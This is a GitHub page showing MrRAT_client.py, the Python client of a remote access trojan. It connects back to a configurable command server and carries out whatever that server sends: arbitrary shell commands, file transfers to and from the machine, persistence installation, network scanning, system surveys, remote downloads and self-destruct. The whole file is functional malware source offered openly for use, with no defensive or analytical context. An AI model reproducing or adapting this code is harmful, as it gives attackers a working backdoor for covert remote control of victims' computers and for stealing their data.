-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathMrRAT_client.py
executable file
·100 lines (74 loc) · 2.19 KB
/
MrRAT_client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# MrRAT client
# https://github.com/user696/MrRAT
#
import socket
import subprocess
import sys
from core import common
from core import crypto
from core import persistence
from core import scan
from core import survey
from core import toolkit
# change these to suit your needs
HOST = 'localhost'
PORT = 1337
def main():
# set system platform to win, nix, mac, or unk
plat = sys.platform
if plat.startswith('win'):
plat = 'win'
elif plat.startswith('linux'):
plat = 'nix'
elif plat.startswith('darwin'):
plat = 'mac'
else:
plat = 'unk'
conn = socket.socket()
conn.connect((HOST, PORT))
client = common.Client(conn, HOST, 1)
while True:
results = ''
# wait to receive data from server
data = client.recvGCM()
# don't process empty data
if not data:
continue
# seperate data into command and action
cmd, _, action = data.partition(' ')
if cmd == 'download':
client.sendfile(action.rstrip())
continue
elif cmd == 'execute':
results = subprocess.Popen(action, shell=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
results = results.stdout.read() + results.stderr.read()
elif cmd == 'kill':
conn.close()
sys.exit(0)
elif cmd == 'persistence':
results = persistence.run(plat)
# elif cmd == 'rekey':
# client.dh_key = crypto.diffiehellman(client.conn)
# continue
elif cmd == 'scan':
results = scan.single_host(action)
elif cmd == 'selfdestruct':
conn.close()
toolkit.selfdestruct(plat)
elif cmd == 'survey':
results = survey.run(plat)
elif cmd == 'unzip':
results = toolkit.unzip(action)
elif cmd == 'upload':
client.recvfile(action.rstrip())
continue
elif cmd == 'wget':
results = toolkit.wget(action)
client.sendGCM(results)
if __name__ == '__main__':
main()